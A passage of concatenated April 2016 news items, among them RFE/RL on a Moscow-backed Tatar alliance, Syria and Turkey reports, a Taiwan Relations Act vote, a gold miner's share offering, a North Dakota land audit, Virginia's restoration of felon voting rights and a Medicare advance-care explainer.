"This alliance is a political structure," he told RFE/RL. "I have not found anyone in any country who contributed money. So, for instance, how did they travel to Poland for their meeting? Who paid for their tickets? Moscow. For what reason does Moscow pay for this?"

Over the years, the ATA has received support from various Russia-friendly members of the European Parliament. Lithuanian MEP Valdemar Tomasevski helped to organize the ATA's first congress at the European Parliament in April 2013. Tomasevski's party, the Electoral Action of Poles in Lithuania, routinely forms election alliances with the Lithuanian Russian Union. It has also been supported by Latvian MEP Tatyana Zdanoka, a former Soviet communist who campaigned actively against Latvia's independence from the Soviet Union. She served as an "international observer" of the unrecognized 2014 Russia-organized referendum in the Ukrainian Black Sea region of Crimea that was used by Moscow as a pretext to annex the peninsula.

Wary Of The ATA

Most of Europe's Tatars are Volga, or Kazan, Tatars with roots in Russia's Tatarstan. Although they are sympathetic with their ethnic kin from Crimea, the Crimean Tatars, they have a history of generally shunning political positions. This is one reason they are wary of the ATA, which has participated in Moscow-directed activities that promote Russia's narratives.

The ATA is just one part of an assertive effort by the Russian government to develop a network of Kremlin-friendly organizations around the world, but particularly in Central and Western Europe.

Speaking to a World Conference of Compatriots in Moscow in November 2015, Foreign Minister Sergei Lavrov said the Russian World initiative is "an unconditional foreign-policy priority for Russia" and praised the "consolidation" of the Russian world and its "democratically functioning" organizations.

"The anti-Russian actions of Washington and Brussels, including the introduction of unilateral restrictions, have not impacted our dialogue with these communities, which have duly responded to these developments and voiced their support to Russia," Lavrov said.

In addition to such ethnic organizations as the ATA, Lavrov stressed the synergistic role of Moscow's support of Russian-language media abroad, brought together in the Foreign Ministry's World Association of Russian Press (WARP).

"It is hard to overestimate the role of media outlets in our cooperation with these communities," Lavrov said. "The work of the WARP Foundation for Cooperation with Russian-Language Media is in particularly high demand."

Fabricated Story

The Russian World policy made itself felt dramatically in Germany in January when an obscure Russian group came out with the claim that a 13-year-old girl from a Russian immigrant family had been abducted and raped by asylum-seekers. The story was later proven a fabrication, but only after Russian-state media and Russian-language media in Germany gave it prominent play and thousands of mostly Russian-speaking demonstrators came out into the streets of Berlin.

Speaking to Bloomberg, Joerg Forbrig of the German Marshall Fund said the so-called Lisa Affair was an attempt to "weaponize" electoral politics inside the EU and undermine the government of Chancellor Angela Merkel. "The Lisa Affair was a real eye-opener," Forbrig is quoted as saying.

A report out this month by Britain's Chatham House highlights the creation of Kremlin "proxy groups" in Central Europe. "Russian pseudo-NGOs undermine the social cohesion of the neighboring states through the consolidation of pro-Russian forces and ethno-geopolitics; the denigration of national identities; and the promotion of anti-U.S., conservative Orthodox [Christian], and Eurasianist values," the report states. "They can also establish alternative discourses to confuse decision-making where it is required, and act as destabilizing forces by uniting paramilitary groups and spreading aggressive propaganda."

The 2015 report of Estonia's Internal Security Service emphasizes the Kremlin's "attempts to exploit the Russian diaspora."

"Instead of supporting Russian-speaking people, the Kremlin has decided to use the slogan of 'compatriot policy' to instigate segregation and undermine integration," the report says. "To increase its influence, Putin's regime use real and imaginary problems and sensitive topics alongside its soft power."

The same report notes Russia's funding "to create new media resources abroad, including in Estonia."

The ATA is an example of the Kremlin's Russian World policy in action, one that was specifically mentioned by Lavrov in his speech to the World Conference of Compatriots, emphasizing that it was created by the Russia-based World Tatar Congress. In 2014 it was registered in Brussels and is headed by an ethnic Tatar living in Lithuania named Flyur Sharipov. In the ATA application, Sharipov presented himself as the head of the Nur Tatar association in Klaipeda, which he listed as a founding organization of the ATA.

This prompted the chairman of Nur to write Sharipov a letter in March 2016 -- a copy of which is in RFE/RL's possession -- saying that Nur had no information about the ATA and was never represented there.

'Stole Our Idea'

Nonetheless, the ATA is registered with the European Union as representing the Tatar communities of Europe. Such registration opens the door for the ATA to fulfill the 11th point of the resolution adopted this month in Brno.

"We will submit our projects in a timely fashion to various foundations of the European Union that provide financial support for the ethnocultural movement," the resolution reads.

Judging by the past, those projects are unlikely to have much to do with promoting Tatar culture or language. Speaking at the Brno meeting, Russian Foreign Ministry official Barabanov praised the ATA's activity in projects aimed at emphasizing Moscow's version of the Soviet role in World War II, such as handing out orange-and-black St. George ribbons.

The story of the ATA is disappointing to Lithuanian-Tatar activist Jakubauskas. He says Europe's Tatars really could benefit from a continental organization and that Tatar groups from the Baltic states had begun discussing forming one when the ATA came along.

"We wanted to create a genuinely European, pro-European organization. Unfortunately, they stole our idea and created this organization instead," he says. "But I emphasize once again -- it is registered in Brussels but financed from [Russia]. For us, that is unacceptable."

Source: http://www.rferl.org/content/european-tatars- resist-moscow-proxy-group-/27690467.html

Copyright (c) 2016. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Russia gearing up for ground offensive in Syria: US military official

Iran Press TV

Thu Apr 21, 2016 5:31PM

The Russian military and the Syrian Army are preparing for a major ground attack against terrorist groups in the Arab country, a US military official says, citing data by American intelligence agencies.

"About two weeks ago, US intelligence agencies began to detect the redeployment of artillery units to areas near the northern city of Aleppo, the opposition stronghold, and inside Latakia province, near where government forces have been gathering," a senior US military official was quoted as saying by Washington Times on Thursday.

The alleged Russian military moves prompted US President Barack Obama to call his Russian counterpart Vladimir Putin on Monday and have an "intense conversation" with him, according to Josh Earnest, the White House press secretary.

The Russian military has been carrying air raids against terrorist positions in Syria since September 2015 upon a request from Damascus.

Last month, Putin ordered a partial withdrawal of Moscow's forces from the Arab state following the resumption of Geneva peace talks between the government of President Bashar al-Assad and the so-called opposition groups.

Russian and Syrian forces agreed to halt military operations against militant groups, except Daesh and al-Nusra Front, under a ceasefire agreement with the Saudi-backed opposition that was mediated by the US and Russia and came into effect in late February.

The US military official's assessment comes shortly after the collapse of UN-brokered peace talks, the latest round of which was halted on April 19, after leaders of the Saudi-backed High Negotiations Committee (HNC) left the table to protest at what they called escalating violence and restrictions on humanitarian access in Syria.

Both Russia and Syria have dismissed allegations that the Syrian government forces violated the ceasefire.

Following the suspension of talks, the Turkey-based Free Syrian Army and Ahrar al-Sham Takfiri terrorists announced the launch of new assaults in Latakia and Hama provinces.

Syria has been grappling with foreign-backed militancy for more than five years now. The conflict has left over 470,000 people dead so far, according to a February report by the Syrian Center for Policy Research.

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HNC Departure From Geneva 'Act of Pressure'

Sputnik News

22:52 21.04.2016(updated 23:18 21.04.2016)

UN Envoy for Syria Staffan de Mistura said that talks between Syrian government and the remaining opposition delegates in Geneva should continue despite the Saudi-backed High Negotiations' Committee decision to suspend its participation.

GENEVA (Sputnik)  Talks between Syrian government and the remaining opposition delegates in Geneva should continue despite the Saudi-backed High Negotiations' Committee (HNC) decision to suspend its participation, UN Envoy for Syria Staffan de Mistura said Thursday.

"HNC's statement on their departure can be qualified as an act of pressure Talks should continue with those who stay," de Mistura said in an interview with the Swiss RTS broadcaster.

Most of the HNC delegation members have left Geneva in protest of the ongoing violence in Syria for which they blame the Syrian government.

Staffan de Mistura said also said that the talks will continue next week.

"Of course," de Mistura told the RTS Swiss broadcaster, asked whether the talks would continue next week.

The UN envoy added that the Russia-US-brokered cessation of hostilities, whose violations prompted the Saudi-backed delegation to suspend their participation and leave Geneva, needs to "resume." He underscored the need to be "more active" on providing humanitarian assistance to war-torn Syrians.

"We should ask stakeholders to hold a joint meeting. We will do it," de Mistura stressed, referring to the International Syria Support Group (ISSG) co-chaired by Russia and the United States.

"We should never exclude the possibility of a peaceful settlement of this horrible war in Syria. Intra-Syrian talks should continue," de Mistura told the broadcaster.

"Russia and the US helped to implement ceasefire that lasts already for 48 days. It's a miracle," de Mistura noted.

"But we should remember that we are limited in time, we are in a hurry," the UN envoy stressed, when asked what steps he expected the two countries to take next.

De Mistura added that the International Syria Support Group, co-chaired by Russia and the United States, should convene for a joint meeting.

 Sputnik

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U.S. House committee reaffirms Taiwan Relations Act

ROC Central News Agency

2016/04/21 14:36:14

Washington, April 20 (CNA) A U.S. House of Representatives committee has unanimously passed a bipartisan measure to reaffirm the Taiwan Relations Act and the "Six Assurances" -- the guidelines used to conduct relations between the United States and Taiwan.

The Foreign Affairs Committee, chaired by Representative Ed Royce (R-CA), passed the measure, introduced by Representative Steve Chabot (R-OH) in October 2015, Tuesday to reaffirm the act and the 1982 assurances as the cornerstone of United States-Taiwan relations.

"Congress has long championed a strong relationship with Taiwan through landmark measures like the Taiwan Relations Act, and through pressing successive administrations to fulfill their obligation to sell defensive arms to Taiwan," Royce said upon the passage of the non-binding measure -- House Concurrent Resolution 88.

"Today, our committee is once again reaffirming the U.S. commitment to Taiwan by upholding the Six Assurances as one of the cornerstones of U.S.-Taiwan policy, right alongside the Taiwan Relations Act," he said.

The measure underscored that Taiwan has been an important partner of the United States. Over the past 20 years, the Taiwanese people have established an active and universal democracy, and successfully held five presidential elections and many legislative and local elections, it said.

It calls on the U.S. president and the Department of State to openly, actively and continuously reaffirm that the Six Assurances are also the cornerstone of U.S.-Taiwan relations.

The Taiwan Relation Act, enacted in April 1979, was formed for the promotion of commercial, cultural and other relations between Taiwan and the United States in the absence of diplomatic ties between them.

The Six Assurances refer to six points that Taiwan proposed to the United States in 1982, when the latter negotiated with China on the U.S.- China Joint Communique on Arms Sales to Taiwan.

The administration of President Ronald Reagan agreed to these points, conveyed this assent to Taiwan, and, in late July 1982, informed the Congress of the agreement.

The six points are as follows:

The United States would not set a date for ending arms sales to the Republic of China (ROC);

The United States would not hold prior consultations with the People's Republic of China (PRC) regarding arms sales to the ROC;

The United States would not play a mediation role between the PRC and the ROC;

The United States would not revise the Taiwan Relations Act;

The United States would not alter its position regarding sovereignty over Taiwan; and

The United States would not pressure Taiwan to enter into negotiations with the PRC.

(By Tony Liao and Elizabeth Hsu)

ENDITEM/ke

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Turkey Increases Number of Tanks, Howitzers on Border With Syria - Reports

Sputnik News

12:03 21.04.2016

Turkey has increased the number of deployed tanks and howitzers on the border with Syria in a precaution measure against an attacks by Daesh militants, local media reported Thursday.

MOSCOW (Sputnik)  Daesh has previously launched multiple attacks against Turkey's territory near the Syrian border, including the shelling of the Kilis province.

The newly deployed tanks will aid existing units which use thermal cameras and cannons, Hurriyet Daily News reported, citing Turkish security officials. The mini drones are also being deployed to track the Katyusha rockets belonging Daesh militants, the media outlet added.

Daesh a designated terrorist group that has captured large areas of land in Syria and Iraq, where it proclaimed a caliphate. The terror group is outlawed in Russia, the United States and in several other countries.

 Sputnik

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Turkish Military Conspiracy Case Collapses

by Dorian Jones April 21, 2016

Turkey's top appeals court has overturned the convictions of senior military officers who had been charged with planning to overthrow the government. The convictions two years ago were hailed as an example of civilian rulers ending the military's influence in Turkish politics.

Turkey's top appeals court, the Yargitay, ruled that convictions in a conspiracy to overthrow the government were unfounded. The ruling ended nine years of investigations and court cases that led to the imprisonment of 274 senior military officers, politicians, journalists and writers.

The Ergenekon conspiracy, as prosecutors dubbed it, was an attempt to overthrow the Islamist-rooted AK Party government. But critics claimed the investigation was a witch hunt involving fabricated evidence against the pro-secular military and its supporters. The decision by the appeals court to overturn the convictions was welcomed by the leader of the main opposition Republican People's Party, Kemal Kilicdaroglu.

Kilicdaroglu said "the decision revealed how right in our criticisms we were in the past. There are still judges in this country."

But the convictions of senior military officers, including former military chief General Ilker Basbug, was widely seen nationally and internationally as a seminal moment for the country, ending the political meddling of the army in politics.

History of coups

Since 1960, the military seized power on three occasions, and in 1997 an Islamist-led government was forced from office. The army traditionally saw itself as a guardian of the secular state.

But last year Turkish President Recep Tayyip Erdogan, who was believed to be the target of the alleged conspiracy, apologized to senior military officers for the investigation, blaming followers of an Islamist cleric, Fethullah Gulen. Gulen, who lives in self-imposed exile, was once a close ally to Erdogan, but they have become bitter rivals.

Turkish law professor Istar Gozaydin says while she understands why the court of appeals made its decision, she still thinks the decision is flawed.

"Procedurally there have been problems in the legal sense. However, substantially I don't agree. I am surprised. I do think there have been structures like Ergenekon. So [in terms of] substance, I do not agree at all."

Observers claim the collapse will likely only add to concerns over the politicization of the legal system. Earlier this month, the U.S. State Department and European Parliament warned that the independence of Turkey's courts was increasingly being eroded.

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Journalists, Academics on Trial in Turkish Free Speech Cases

by VOA News April 22, 2016

The trial of two Turkish journalists accused of espionage and aiding a terrorist organization adjourned Friday and one of them expressed hope that the case was nearing acquittal.

Speaking to reporters outside the Caglayan courthouse in Istanbul after their third hearing, Can Dundar, editor-in-chief of the opposition Cumhuriyet newspaper, said that, finally, the court registered their cases as acts of journalism, keeping them separate from another case related to Turkish intelligence operations.

Dundar and Cumhuriyet's Ankara bureau chief, Erdem Gul, could face life in prison for a story with images they published in January 2014, alleging the Turkish government smuggled weapons to Syria.

In another case, also related to increasingly restricted free speech in the country under President Recep Tayyip Erdogan, four Turkish academics accused of spreading "terrorist propaganda" went on trial in the same courthouse in Istanbul Friday, for signing a declaration condemning Turkey's military action against Kurdish rebels.

The four academics on trial and more than 1,000 of their colleagues signed the petition urging Turkey to halt its "deliberate massacres and deportation of Kurdish and other peoples in the region." The petition infuriated Erdogan and led to the legal proceedings against them.

If convicted, the academics could be sentenced to up to seven-and-a-half years in prison.

"We are at the academics' hearing. The same groundless allegations," Dundar tweeted.

Hundreds of demonstrators, among them opposition legislators and university students, gathered outside the Istanbul courthouse to show their support for Cumhuriyet journalists and the academics, as riot police stood guard.

They were holding placards reading "Freedom for the pencils" and "Freedom for the academics" and "Don't Touch my teacher; end to dictatorship in university."

Demonstrator Gonenc Hacaloglu said that the journalists are being tried for reviling the ruling party and the government's war crimes.

Some opposition legislators joined the rally as riot police stood guard outside the courthouse.

Garo Paylan of pro-Kurdish opposition party HDP (People's Democratic Party) said that journalism cannot be described as espionage for revealing misdeeds by the state and informing the public.

Rights groups have repeatedly sounded the alarm about the intolerance of dissent shown by authorities in Turkey. Since becoming president in 2014, Erdogan has prosecuted nearly 2,000 people for insulting him.

In the recently released 2016 World Press Freedom Index, Turkey fell to 151st out of the 180 countries ranked by Reporters Without Borders.

Earlier this year, U.S. Vice President Joe Biden visited the country, where he criticized Turkish leaders for cracking down on freedom of expression.

Biden said the Turkish government was not setting the right "example" with its imprisonment of journalists and investigation of academics who have criticized the government's military campaign in Turkey's Kurdish-dominated southeastern region.

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US-Russia Plutonium Disposal Talks Expected 'At Some Point'

Sputnik News

23:22 21.04.2016(updated 23:42 21.04.2016)

US Assistant Secretary of State for Nonproliferation Thomas Countryman said that the United States will eventually discuss Russian concerns over the Plutonium Management and Disposition Agreement regarding changes in the means of plutonium disposal.

WASHINGTON (Sputnik)  The United States will eventually discuss Russian concerns over the Plutonium Management and Disposition Agreement (PMDA) regarding changes in the means of plutonium disposal, US Assistant Secretary of State for Nonproliferation Thomas Countryman told Sputnik.

"We have an agreement in place [with Russia] that says we can each change the means of disposal by agreement. So I expect at some point we will discuss that," Countryman said on Thursday.

Under the US-Russian PMDA, originally signed in 2000, both parties agreed to dispose of at least 34 metric tons of weapons grade plutonium, enough to produce 17,000 nuclear bombs.

In signing the updated PDMA in 2010, the United States agreed to convert its plutonium into a mixed oxide (MOX) fuel at a reprocessing facility in the state of North Carolina.

As a result of major cost overruns, in 2015 the United States abandoned its MOX facility, opting instead for a less expensive process of diluting and storing the plutonium at a site in the state of New Mexico.

Prior to the Nuclear Security Summit in Washington, DC, earlier in April, Russian President Vladimir Putin objected to the changes the US made to its disposal program, arguing it was not the means agreed to under the PDMA.

 Sputnik

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NOT FOR DISTRIBUTION TO UNITED STATES NEWSWIRE SERVICES OR DISSEMINATION IN THE UNITED STATES

Montreal, Quebec, April 22, 2016  SEMAFO Inc. (the Company) (TSX, OMX: SMF) today announced it has closed the bought deal financing announced on April 4, 2016. The Company issued a total of 26,450,000 common shares at a price of C$4.35 per common share, which includes the exercise of the underwriters over-allotment option in full, for aggregate gross proceeds of C$115,057,500 (the "Offering"). The Offering was completed by a syndicate of underwriters led by BMO Capital Markets as sole bookrunner and co-led by Clarus Securities Inc.

The net proceeds of the Offering will be used for exploration expenditures at Mana and Natougou, to further enhance the Companys financial flexibility with respect to the Natougou project as well as for working capital and general corporate purposes.

The securities offered have not been registered under the U.S. Securities Act of 1933, as amended, and may not be offered or sold in the United States absent registration or an applicable exemption from the registration requirements. This press release shall not constitute an offer to sell or the solicitation of an offer to buy nor shall there be any sale of the securities in any jurisdiction in which such offer, solicitation or sale would be unlawful.

First Quarter 2016 Conference Call

SEMAFO anticipates releasing its financial results for the first quarter of 2016 before market-open on May 11, 2016. Interested parties are invited to join the conference call and webcast at 10.00 a.m. EDT.

Tel. local & overseas: +1 (647) 788 4922

Tel. North America: 1 (877) 223 4471

Webcast: www.semafo.com

Replay number: 1 (800) 585 8367 or 1 (416) 621 4642

Replay pass code: 93091950

Replay expiration: June 1, 2016

Annual General Meeting of Shareholders

SEMAFO's Annual General Meeting of Shareholders will be held on Thursday, May 12, 2016 at 10:00 a.m. EDT at Club Saint-James, Salon Midway, 1145 avenue Union, in Montreal, Quebec. Attendees will have the opportunity to ask questions and meet the management team and members of the board of directors.

About SEMAFO

SEMAFO is a Canadian-based mining company with gold production and exploration activities in West Africa. The Corporation currently owns and operates the Mana Mine in Burkina Faso, which includes the high-grade satellite deposits of Siou and Fofina, and is developing the advanced gold deposit of Natougou. SEMAFOs strategic focus is to maximize shareholder value by effectively managing its existing assets as well as pursuing organic and strategic growth opportunities.

CAUTION CONCERNING FORWARD-LOOKING STATEMENTS

This press release contains forward-looking statements, including statements in respect of the proposed use of proceeds of the Offering. Forward-looking statements involve known and unknown risks, uncertainties and assumptions and accordingly, actual results and future events could differ materially from those expressed or implied in such statements. You are hence cautioned not to place undue reliance on forward-looking statements. Forward-looking statements include words or expressions such as will, committed, evolve, pursuing, growth, opportunities and other similar words or expressions. Factors that could cause future results or events to differ materially from current expectations expressed or implied by the forward-looking statements include our ability to execute on our strategic focus. You can find further information with respect to these and other risks in SEMAFOs 2015 Annual MD&A, and other filings made with Canadian securities regulatory authorities and available at www.sedar.com. These documents are also available on our website at www.semafo.com. SEMAFO disclaims any obligation to update or revise these forward-looking statements, except as required by applicable law.

The information in this release is subject to the disclosure requirements of SEMAFO under the Swedish Securities Market Act and/or the Swedish Financial Instruments Trading Act. This information was publicly communicated on April 22, 2016 at 8:45 AM Eastern Daylight Time.

For more information, contact
The state land commissioner defended the work of the North Dakota Department of Trust Lands during a legislative committee review of a performance audit that highlighted a series of errors in accounting practices and noncompliance with the departments code of ethics.

On Thursday, the interim Legislative Audit and Fiscal Review Committee reviewed the performance audit at the state Capitol. Officials with the office of state auditor provided 29 recommendations in its audit with the accounting and ethics concerns drawing the most discussion and a terse rebuke from one lawmaker.

Audit manager Jason Wahl said part of the review found that tracts of land overseen by the department didnt have documentation attaching the correct trust funds to the designated tracts of land.

The audit reviewed 40 tracts of surface acreage owned by the state and found them to be assigned properly. When reviewing corresponding subsurface mineral acres in the tracts, one was found to be assigned incorrectly.

We then attempted to perform a comparison of the trusts assigned to the surface tracts and the trusts assigned to the corresponding mineral tract, Wahl said. Due to differences in the two databases and the difference in the number of surface and mineral acres, our comparison was limited. We identified five mineral tracts that were apparently assigned to the wrong trust. None of the five had a lease for oil and gas.

Of those five tracts, the errors were in assigning them to the departments Youth Correctional Center trust rather than to the Ellendale trust. The issue stemmed from confusion over the trust names from decades ago.

Once we were aware of Ellendale tracts being assigned to the YCC trust, we reviewed 20 of the 120 leased mineral tracts assigned to the YCC trust. We identified seven had the wrong trust assigned, Wahl said. Based on information provided by the Department on the seven tracts, approximately $2.8 million had been incorrectly credited to the YCC trust.

State Land Commissioner Lance Gaebe told the committee the department is committed to fixing the error, which will likely require legislative action. He said the department will get guidance from the attorney generals office.

We will agree that weve made mistakes, Gaebe said.

Gaebe also admitted that, in meeting with the auditors to go over the audit draft and responses to their recommendations, it was a bit contentious at times.

We had hopes that the audit could lead to constructive suggestions for solutions and ideas. However, at the end of a long, costly process, we received generalized, subjective recommendations, Gaebe said.

This drew a sharp rebuttal from Rep. Bob Skarphol, R-Tioga.

I dont think you should feel sorry for yourself, Skarphol said. I dont find it acceptable, and I dont accept the excuses.

He said in recent weeks the land department has begun the process of hiring a private firm to do a business systems analysis of their operations in order to attain ways to improve.

Wahl said concerns over employee compliance with ethics were also found.

We identified instances of employees being paid for meal per diems when a contractor had provided the employees the meal being claimed, Wahl said.

In another instance, two employees put in for a quarterly meal reimbursement for meals that were part of a registration fee at a conference, which cant be claimed under state law.

Essentially, double-dipping, Committee Chairman Sen. Jerry Klein, R-Fessenden, said.

Wahl said that was correct. The department also used public funds for an office coffee machine as well as the purchase of a refrigerator and dishwasher using public funds.

Gaebe said the buck stops with him and his office is committed to working to address the recommendations outlined in the audit.

We are going to fix it, Gaebe said.
The Native American Development Center will host an inaugural Mother Earth Day event at the YMCA for North Dakota citizens and families from 12:30 to 4:30 p.m. Sunday.

It will take place outside the YMCA on the south side of the building. Admission fees are $20 for families, $10 for individuals and free for children 17 years and younger. Proceeds will contribute to efforts to host community support groups and more cultural events for families.

The purpose of Mother Earth Day is to educate non-Native and Native American people and families about the Native American way of life and will be shared by multitribal perspectives of elders, parents and children. The event will begin with traditional prayer and song followed by introductions made by local and state dignitaries.

The agenda will include presentations about the significance of the stories of Mother Earth and White Buffalo Calf Woman, the significance of speaking the native language, a food demonstration, a dance exhibition and a walk/run around the YMCA walking path.

For more information, contact 701-595-5181 or info@ndnativecenter.org. Visit their website at www.ndnativecenter.org.
Gov. Terry McAuliffe today signed an order restoring the voting rights of 206,000 ex-felons, a sweeping action the governor said was aimed at rectifying Virginia's "long and sad history" of suppressing African-American voting power.

Coming in a presidential election year, a swift backlash ensued as Republicans accused McAuliffe of abusing his executive power to help longtime ally Hillary Clinton win a battleground state by putting more likely Democratic voters on the books.

The governor's order applies to all violent and nonviolent felons who have completed all phases of their sentences and supervised release as of Friday  even those who have not applied for a restoration of rights  a departure from past policies in which governors restored rights on an individual basis.

"We benefit from a more just and accountable government when we put trust in all of our citizens to choose their leaders," McAuliffe said to a cheering crowd from the steps of the state Capitol. "It has taken Virginia many centuries, unfortunately, to learn this lesson. But today, we celebrate its truth."

The action, which comes just days after the General Assembly wrapped up the 2016 legislative session, has the potential to expand the state's voter rolls by up to 3.8 percent.

Virginia is one of 10 states that do not automatically restore rights upon completion of a felony sentence and one of only four states that require an application by the ex-felon and action by the governor, according to the McAuliffe administration, which cited research showing one of every five African-Americans of voting age in Virginia has lost the right to vote.

Supporters praised McAuliffe for what they characterized as a bold step to right injustice and allow those who have paid their debt to society to fully participate in civic life. Opponents called it a politically motivated overreach that will further strain the relationship between the governor and the Republican-controlled legislature.

In his speech, McAuliffe anticipated a strong response from Republicans, who characterized the order as too broad, saying it gives murderers and rapists the right to vote, serve on juries, hold public office and notarize documents.

"There may be some individuals who will try and demagogue this issue and will make reckless accusations," McAuliffe said. "Our action today does not pardon or change the sentence for any man or woman affected by this plan. These individuals have completed their sentences. They have atoned for their actions."

Ex-offenders affected by Friday's order must register to vote before participating in elections. Several Democratic-aligned organizing groups attended the event, registering some attendees on the spot.

Speaker of the House William J. Howell, R-Stafford, blasted the order as a political ploy to boost Democrats' chances in November.

"The singular purpose of Terry McAuliffes governorship is to elect Hillary Clinton president of the United States," Howell said. "This office has always been a stepping stone to a job in Hillary Clintons Cabinet."

Considering that the entire General Assembly was in session just two days ago, the timing of this action should give all legislators pause," said Senate Majority Leader Thomas K. Norment Jr., R-James City."Perhaps this governor does not expect to have to work with the General Assembly next session, as he might be planning on an appointment to an office headquartered in a different capital city."

McAuliffe will sign similar orders on a monthly basis moving forward, but future governors could choose not to continue the policy.

"I believe in redemption and reconciliation and that a review of restoration of rights for nonviolent felons who've paid their debt to society deserves debate, but this sweeping action benefiting convicted rapists, murderers and child molesters is a reckless abuse of executive power," said Ed Gillespie, a GOP gubernatorial hopeful and former chairman of the Republican National Committee.

McAuliffes order does not restore firearm rights. The ability to purchase and own a gun would still require court action.

The governor said he ensured he was on "solid legal and constitutional grounds," but Republicans pointed to a 2010 letter written by an attorney for Gov. Timothy M. Kaine, a Democrat, stating that a blanket restoration of rights would amount to a "troubling" rewrite of state law and the Constitution.

McAuliffe said he consulted with Attorney General Mark R. Herring and A.E. Dick Howard, an expert on the Virginia Constitution and professor at the University of Virginia School of Law.

In an interview, Howard said unequivocally that McAuliffe has the authority to restore rights for an entire class rather than an individual.

"There is simply no question about that," Howard said.

He also spoke of the historic significance of the occasion in relation to Virginia's 1901-1902 constitutional convention, which set up poll taxes, literacy tests and disenfranchisement for felons as barriers for African-American participation.

"Today, the last ghost of the 1902 convention was buried," Howard said.

Levar Stoney, a Richmond mayoral candidate who worked with McAuliffe to restore rights for 18,000 ex-offenders as secretary of the commonwealth, read a quote from then-legislator Carter Glass about the voting plan adopted at the 1902 convention.

"This plan, will eliminate the darkey as a political factor in this state in less than five years, so that in no single county will there be the least concern felt for the complete supremacy of the white race in the affairs of government," Stoney said as he introduced the governor. Public service, he said, is about "giving voice to the voiceless and righting the wrongs."

Speaking in the former capital of the Confederacy, McAuliffe and others drew parallels to the Civil War.

"Not long after President Abraham Lincoln celebrated emancipation with former slaves gathered not 20 yards from where I'm standing, Virginia initiated a campaign of intimation, of corruption, of violence aimed at separating African-Americans from their constitutional right to vote," McAuliffe said.

Previous governors have said that they thought a wholesale restoration of rights would require a change to the Virginia Constitution, but recent governors have found ways to accelerate and accomplish part of the goal through an exercise of executive authority.

Gov. Mark R. Warner, a Democrat, took steps to simplify the cumbersome process, which could take years to initiate and months to complete. Kaine shortened the waiting period for those released from prison before applying for a restoration of rights.

Gov. Bob McDonnell, a Republican, made prisoner re-entry and rehabilitation a priority of his administration. He reduced the processing time of restoration applications and automatically restored rights on an individual basis to nonviolent felons who had completed their sentence, probation and paid their court costs and fines, resulting in restoring the rights of more than 6,800 Virginians.

The McAuliffe administration simplified and dramatically accelerated the process. It reduced the application to one page from 13. It reduced from 5 years to 3 years the time period in which a former felon must wait after they had completed their sentence to apply for reinstatement.

The current administration also removed drug offenses from the list of those considered violent felonies not eligible for restoration and said rights can be restored even if a felon has not completed payment of court fees and restitution.
To the editor:

Across the Commonwealth, Virginians are reveling in the arrival of spring and participating in Earth Day festivities. The change in season and annual celebration of Earth Day offers a perfect opportunity to perform a spring energy tune-up. Similar to an inspection, an energy tune-up will ensure your home or office is ready for the warmer weather and operating at peak efficiency.

Virginia Energy Sense is here to walk you through your spring energy tune-up. VES is the Commonwealths energy education program under the guidance of the State Corporation Commission. Virginia has set a goal to reduce electric energy consumption 10 percent below 2006 levels by 2020. By following the quick and easy tips that follow, you can lower your power bill, reduce your energy use, and save some money.

 Lighting: Always turn off your lights when not in use. Replace incandescent light bulbs with energy efficient options such as compact fluorescent lamp or LED (light-emitting diode) bulbs. In addition, take advantage of day lighting as appropriate.

 Water heating: Use hot water wisely by setting your water heater to the lowest effective temperature. Find and fix leaks and use less water by installing faucet aerators, efficient showerheads and reducing shower time by one minute.

 Refrigeration: Defrost regularly and perform routine maintenance, such as vacuuming coils to remove dust and checking its seal.

 Equipment: If possible, buy Energy Star-certified products. Also, be sure to turn off office equipment such as computers when not in use.

 Heating and Cooling (HVAC) systems: Adjust the thermostat during unoccupied times or install and utilize a programmable thermostat. Reducing air- conditioning hours will also help.

 Buildings: Block direct sunlight shining through windows in the spring and summer. Also, use fans to help delay or reduce the need for air-conditioning in the spring and summer.

To learn more about VES and other ways to make your home or office more energy efficient and to save some money, visit http://www.virginiaenergysense.org/.

ANDY FARMER

Richmond
Danville Regional Foundation will host the Rev. Jeffrey Brown at 7:30 a.m. May 12 at the Institute for Advanced Learning and Research for its first speaker event of 2016.

Brown was one of the key architects behind the Boston Miracle, which saw the violent crime rate among youth plummet by 79 percent over a decade. Today, he works with faith groups, government and police to stop community violence as the president of RECAP  Rebuilding Every Community Around Peace. He speaks on collaborative leadership, community building, and what it takes to institute real change in organizations of all stripes.

For 2016, DRF asked a group of diverse community members to help us think of who we needed to bring to the Dan River Region as part of our speaker series, said Karl Stauber, president and CEO of the Danville Regional Foundation. Their overwhelming consensus was that we needed a speaker who could address the crime and safety issues that are top of mind while offering real, concrete solutions for moving forward. Rev. Brown offers this unique perspective.

Brown will speak about how during the late 1980s, he watched his neighborhood become overrun with drugs and violence. He decided to listen to the young people in the community  not preach to them  in order to bring about change.

Listening and collaboration have been the foundation for DRFs work in our 10 years of existence, continues Stauber. Now it is more important than ever to use these tools to move ideas forward in creating safe communities for all our residents.

The event is free but reservations are required by contacting the Danville Pittsylvania County Chamber of Commerce at (434) 836-6990 or visiting the website at www.dpchamber.org.
Medicare wants more doctors and patients to talk about the tough care decisions that must be made if a person becomes seriously ill or incapacitated.

The federal entity, which covers health care for people over age 65, has started reimbursing doctors for having face-to-face, advance care planning discussions about a patients treatment preferences should they become unable to speak for themselves.

Only 17 percent of adults say they have had these discussions with a health care provider, according to the nonprofit Kaiser Family Foundation. Heres what you need to know.

Will everyone have coverage now?

That can still depend on the insurer. If you dont have Medicare, check before scheduling an appointment specifically for one of these discussions.

If there is no coverage, doctors may cut you a discount to have the talk. A half an hour of a doctors time could cost you $125 or more, depending on where you live. But dont think a lack of coverage means you cant talk to your doctor.

Doctors have been reimbursed for years for discussing treatment options with patients during the course of care or an office visit. Some have done it without reimbursement.

By offering reimbursement specifically for this discussion, the government aims to encourage more of these conversations to take place. This might make it easier for more people to have the conversation with their doctors if they are not facing a terminal illness.

Who should have this talk?

The range of patients isnt limited to the elderly or people with a serious condition. These voluntary discussions can be crucial if someone later winds up critically injured from a car accident and unable to communicate.

Even healthy younger adults should think about an advance care plan, according to said Dr. Peter Hollmann, chief medical officer of University Medicine in Rhode Island.

The odds of you needing it tomorrow are very, very small, but theyre not zero, he said.

These discussions can last a half an hour or more and may require another visit.

What will these discussions involve?

Theres no set format for how they unfold. Hollmann says they should largely be directed by the patient.

